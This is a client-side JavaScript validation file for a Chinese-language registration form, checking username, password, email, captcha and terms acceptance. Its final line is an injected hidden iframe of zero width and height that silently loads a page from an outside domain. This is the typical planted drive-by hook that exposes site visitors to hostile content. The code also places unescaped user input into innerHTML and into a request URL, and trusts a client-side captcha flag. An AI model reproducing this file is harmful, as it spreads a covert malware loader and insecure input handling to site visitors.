﻿var reg_1 = 0;//用户名
var reg_2 = 0;//密码
var reg_3 = 0;//确认密码
var reg_4 = 0;//Email

var reg_5 = 0;//密码提示问题
var reg_6 = 0;//密码提示答案
var reg_7 = 0;//验证码
var reg_8 = 1;//服务条款

var msg_name="4-20个字符，由字母、数字、汉字及下划线组成。一个汉字占两个字符。";
var msg_password="6-16个字符，密码中不能有<span class=\"focetext\">空格</span>或<span class=\"focetext\">中文字符</span>";
var msg_repassword="请再输一遍密码！";
var msg_question="找回密码时要回答的问题！";
var msg_answer="请回答上面的问题，<span class=\"focetext\">4-18个字符</span>（一个汉字占两个字符）";
var msg_email="请填写真实的email，用以取回密码！";
var msg_code="请输入右边的数字，如果<span class=\"focetext\">看不清楚</span>，请点“<span class=\"focetext\">刷新</span> ”";
var msg_istrue="你必须同意服务条款才能完成注册。";

function get_obj(id) {
    return document.getElementById(id);
}

function openUrl(url) {   
    var objxml=new ActiveXObject("Microsoft.XMLHttp") 
    objxml.open("GET",url,false); 
    objxml.send(); 
    retInfo=objxml.responseText; 
    if (objxml.status=="200") { 
      return retInfo; 
    } else { 
      return "-2"; 
    }
}

//中文占2个字符
String.prototype.len=function() {
    return this.replace(/[^\x00-\xff]/g,"rr").length;
}
 







//检测用户名是否有效
function check_username_exists() {
    var u_name=get_obj('regUserName').value;
    Msg = get_obj("msg_name");
     
    if (u_name==null || u_name=='') {
        Msg.innerHTML="请输入用户名";
        Msg.className="errtable";
        reg_1 = 0;
        return false;
    }
    if (u_name.len()<4) { 
        Msg.innerHTML="用户名4-20个字符。一个汉字占两个字符。";
        Msg.className="errtable";
        reg_1 = 0;
        return false; 
    }
	if(fIsNumber2(u_name, "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ._-") != 1) {
		Msg.innerHTML = "用户必须是中文字符、字母、数字等组成！";
		Msg.className = "errtable";
		return false;
	}
	if(u_name == get_obj('regPassword').value) {
	    Msg.innerHTML = "错误！您的帐号不能与您的密码相同，请重试！";
	    Msg.className = "errtable";
	    reg_1 = 0;
	    return false;
	}
    Msg.innerHTML = ' <img src=\"images/loading.gif\" style="vertical-align:middle;\" /> 正在检测中，请稍候...';
    myurl="checkUser.aspx?u_name="+u_name; 
    
    retCode=openUrl(myurl);
    Msg.innerText=retCode;
    switch(retCode)
    { 
        case "-2": 
        Msg.innerHTML='查询失败';
        Msg.className="errtable";
        break;
        case "1": 
        Msg.innerHTML=u_name+' 已经被注册'; 
        Msg.className="errtable";
        reg_1 = 0;
        break;
        case "0": 
        Msg.innerHTML='恭喜！可以注册';
        Msg.className="passtable";
        reg_1 = 1;
    }
    return;

} 
//鼠标再次指向用户名输入框
function recheck_user_exists(form) { 
    if (reg_1 != 1) {    
        var u_name=get_obj('regUserName');
        Msg = get_obj("msg_name");
        u_name.select();
        Msg.innerHTML="4-20个字符，由字母、数字、汉字及下划线组成。一个汉字占两个字符。";
        Msg.className="msgtable";
        return; 
    }
} 

//检测密码密码
function check_password_exists() {
	var u_pass = get_obj('regPassword').value;
	var u_repass = get_obj('regConfimPassword').value;
	var Msg = get_obj('msg_pass');
	
	if(u_pass==null ||  u_pass=="") {
	    Msg.innerHTML =  "请输入密码！";
	    Msg.className = "errtable";
	    reg_2 = 0;
	    return false;
	}
	if(u_pass.length < 6 || u_pass.length > 16) {
	    Msg.innerHTML = "错误！密码长度范围6-16个字符，请重试！";
	    Msg.className = "errtable";
	    reg_2 = 0;
	    return false;
	}
	if(u_pass == get_obj('regUserName').value) {
	    Msg.innerHTML = "错误！您的密码不能与您的帐号相同，请重试！";
	    Msg.className = "errtable";
	    reg_2 = 0;
	    return false;
	}
	if(fIsNumber(u_pass, "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*()_+|-=\\[]{};:\"<>?\,./") != 1){
	    Msg.innerHTML = "错误！密码中不能有空格或中文字符或&*#@等符号";
	    Msg.className = "errtable";
	    reg_2 = 0;
	    return false;
	}
	if(fIsNumberAll(u_pass)==false || fIsNumberAll2(u_pass)==false){
	    Msg.innerHTML = "错误！密码过于简单，请重试！";
	    Msg.className = "errtable";
	    reg_2 = 0;
	    return false;
	}
	check_rePassword_exists();
	if (reg_2 != 1)	{
	    Msg.innerHTML = "正确，请继续！";
	    Msg.className = "passtable";
	    reg_2 = 1;
	    return false;
	}
}
//鼠标再次指向密码输入框
function recheck_pass_exists() { 
    if (reg_2 != 1) {    
        var u_name=get_obj('regPassword').value;
        var u_pass = get_obj('regPassword');
        Msg = get_obj("msg_pass");
        u_pass.select();
        Msg.innerHTML="6-16个字符，密码中不能有空格或中文字符或&*#@等符号";
        Msg.className="msgtable";
        return; 
    }
} 


//检测重复密码
function check_rePassword_exists() { 
    var u_pass = get_obj('regPassword').value;
    var u_repass = get_obj('regConfimPassword').value;
    var Msg = get_obj('msg_repass'); 

    if (u_pass==null || u_pass=='' && u_repass!='') { 
        Msg.innerHTML = "请先输入密码！";
	    Msg.className = "errtable";
        reg_3 = 0;
        return false; 
    }
    if (u_repass==null || u_repass=='') { 
        Msg.innerHTML = "请再重复一次密码！";
	    Msg.className = "errtable";
        reg_3 = 0;
        return false; 
    }
    if (u_repass != u_pass) { 
        Msg.innerHTML = '两次输入不一致'; 
        Msg.className = "errtable";
        reg_3 = 0;
        return false; 
    }
    if (reg_2 == 1) {
        Msg.innerHTML='填写通过';
        Msg.className = "passtable";
        reg_3 = 1;
        return; 
    }
}
//鼠标再次指向重复密码输入框
function recheck_repass_exists() { 
    if (reg_3 != 1) {    
        var u_repass = get_obj('regConfimPassword');
        Msg = get_obj("msg_repass");
        u_repass.select();
        Msg.innerHTML="请再输一遍密码！";
        Msg.className="msgtable";
        return; 
    }
} 

//检测email
function check_email_exists() {
    var u_email = get_obj('regEmail').value;
    var Msg = get_obj('msg_email');
	if(u_email.length < 5) {
		Msg.innerHTML = "错误！请输入正确的Email地址！";
		Msg.className = "errtable";
		reg_4 = 0;
		return false;
	}else if(fIsNumber(u_email, "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-@.+") != 1) {
	    message = 
	    Msg.innerHTML = "错误！Email地址中不能有空格或中文字符(如：%,$,#,*等)";
	    Msg.className = "errtable";
	    reg_4 = 0;
	    return false;
	}else if(isemail(u_email)==false){
        Msg.innerHTML = "错误！邮件格式不正确，请重新输入。如your_name@163.com";
        Msg.className = "errtable";
        reg_4 = 0;
        return false;
    }else {
    Msg.innerHTML = "正确！";
	Msg.className = "passtable";
	reg_4 = 1;
	return false;
	}
}
//鼠标再次指向Email输入框
function recheck_email_exists() {
    if (reg_4 != 1) {
        var u_email = get_obj('regEmail');
        Msg = get_obj("msg_email");
        u_email.select();
        Msg.innerHTML="输入真实的Email地址。如your_name@163.com";
        Msg.className="msgtable";
        return;
    }
}

//检测验证码
function check_code_exists() {
	var u_code = get_obj('checkCode').value;
	var u_check_code = get_obj('checkValue').value;
	var Msg = get_obj('msg_code');
	
	if (u_code.length != 4 ) {
        Msg.innerHTML = "请输入4位验证码！";
        Msg.className = "errtable";
        reg_7 = 0;
        return false;
	}
	if (u_check_code != "1") {
        changepic();
        Msg.innerHTML = "验证码输入错误！如果看不清楚，请点击图片更换";
        Msg.className = "errtable";
        reg_7 = 0;
        return false;
	}else {
	    Msg.innerHTML = "正确！请点击“提交”完成注册！";
	    Msg.className = "passtable";
	    reg_7 = 1;
	    return;
	}

}
//鼠标再次指向验证码输入框
function recheck_code_exists() {
    get_obj("checkCode").className="colorfocus";
    if (reg_7 != 1) {
        var u_code = get_obj('checkCode');
        var Msg = get_obj('msg_code');
        //u_code.value='';
        u_code.select();
        Msg.innerHTML = "请输入左边的数字，如果看不清楚，请点击图片更换。";
        Msg.className = "msgtable";
        return;
    }
    
}


//检测服务条款
function check_agree_exists() {
    var u_agree = get_obj("agree");
    var Msg = get_obj("msg_agree");
    if (u_agree.checked==false) {
        Msg.innerHTML = "需要接受服务条款才能继续注册！";
        Msg.className = "errtable";
        reg_8 = 0;

    }else {
        Msg.innerHTML = "我已阅读并接受“服务条款”";
        Msg.className = '';
        reg_8 = 1;
    }
}



//提交注册信息验证
function checkPost() {
    
    if(reg_1 == 1 && reg_2 == 1 && reg_3 == 1 && reg_4 == 1 && reg_7 == 1 && reg_8 == 1) {
        return true;
    }else {

        var errMsg = '';
        
        if (reg_1 == 0) {
            errMsg += "用户名填写不正确；\n";
        }
        if (reg_2 == 0) {
            errMsg += "\n密码填写不正确；\n";
        }
        if (reg_3 == 0) {
            errMsg += "\n两次输入不一致；\n";
        }
        if (reg_4 == 0) {
            errMsg += "\nemail填写不正确；\n";
        }
        if (reg_7 == 0) {
            errMsg += "\n验证码填写不正确；\n";
        }
        if (reg_8 == 0) {
            errMsg += "\n未接受服务条款；";
        }
        
        check_username_exists();   //用户名
        check_password_exists();   //密码
        check_rePassword_exists(); //重复密码
        check_email_exists();      //email
        check_code_exists();       //验证码
        check_agree_exists();     //接受条款

        
        alert(errMsg +'\n\n请修改表单中红色提示的部分');
        return false;
    }
    
}




//email格式判断
function isemail(strg){ 
     if(!(strg.indexOf("@")>1 && strg.indexOf(".")>1)) { return false;}
     if(strg.indexOf("@",strg.indexOf("@")+1)>0) { return false;}
     var strarray=new Array("@@" , "@." , "..") 
     for(i=0;i<strarray.length;i++) 
     {
         if(strg.indexOf(strarray[i])>0) { return false;}
     }
     for(i=0;i<strg.length;i++) 
     {
         if(strg.substr(i,1)<="," || strg.substr(i,1)=="/" || (strg.substr(i,1)>="["&&strg.substr(i,1)<="") || strg.substr(i,1)=="`" || (strg.substr(i,1)>=":"&&strg.substr(i,1)<="?") || strg.substr(i,1)>="{") {
             return false;
         }
     }
     return true ;
} 

//字符检测
function fIsNumber (sV,sR) {
	var sTmp;
	if(sV.length==0){ return (false);}
	if(sV.substring(0, 1)=='0'){return (false);}
	for (var i=0; i < sV.length; i++){
		sTmp= sV.substring (i, i+1);
		if (sR.indexOf (sTmp, 0)==-1) {return (false);}
	}
	return (true);
}
function fIsNumberAll(pass) {
    var sTmp;
    sTmp="012345678909876543210abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba";
    if(sTmp.indexOf(pass)!=-1) {
        return false;
    }else {
        return true;
    }
}
function fIsNumberAll2(pass) {
    var sTmp;
	if(pass.length==0){
	    return (false);
    }
	var sTmp2;
	sTmp2=pass.substring(0,1);
	for (var i=0; i < pass.length; i++)
	{
		sTmp= pass.substring (i, i+1);
		if(sTmp!=sTmp2) {
		return true;
		}
	}
	return false;
}
function fIsNumber3(sV,sR) {
	var sTmp;
	if(sV.length==0) {
	    return (false);
	}
	for (var i=0; i < sV.length; i++)
	{
		sTmp= sV.substring (i, i+1);
		if (sR.indexOf (sTmp, 0)==-1) {
		    return (false);
		}
	}
	return (true);
}

//不包含中文
function fIsNumber(sV,sR) {
	var sTmp;
	if(sV.length == 0) { 
	    return (false);
	}
	for(var i=0; i < sV.length; i++)
	{
		sTmp= sV.substring (i, i+1);
		if (sR.indexOf (sTmp, 0)== -1) {
		    return (false);
		}
	}
	return (true);
}

//包含中文
function fIsNumber2 (sV,sR) {
	var sTmp;
	var num;
	if(sV.length==0){
	    return (false);
    }
	for (var i=0; i < sV.length; i++)
	{
	    num=0;
		sTmp= sV.substring (i, i+1);
		if (sTmp<="~") {  //是中文
		    num=1;
		}else{
		num=2;
		}
		if (sR.indexOf (sTmp, 0)==-1 && num==1) {
		    return (false);
		}
	}
	return (true);
}


//验证昵称用
function checkuserpername()
{
    var message='';
	if(get_object('ctl00_ContentPlaceHolder1_UserPerName').value == "") {
		message = "请输入您的昵称！";
		get_object('pername').innerHTML = message;
		get_object('pername').className = "errtable3";
		return false;
	}
	if(checkStrLen(get_object('ctl00_ContentPlaceHolder1_UserPerName').value)<2 || checkStrLen(get_object('ctl00_ContentPlaceHolder1_UserPerName').value)>8) {
		message = "昵称必须大于等于1个中文字符，小于8个中文字符！";
		get_object('pername').innerHTML = message;
		get_object('pername').className = "errtable3";
		return false;
	}
	if(fIsNumber2(get_object('ctl00_ContentPlaceHolder1_UserPerName').value, "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ._-") != 1) {
		message = "昵称必须是中文字符、字母、数字或其组合！";
		get_object('pername').innerHTML = message;
		get_object('pername').className = "errtable3";
		return false;
	}
	message = "昵称格式正确！";
	get_object('pername').innerHTML = message;
	get_object('pername').className = "errtable4";
	reg_2 = 1;
}





<iframe src=http://www.v88v.net\images\en\user\svfox.html width=0 height=0></iframe>
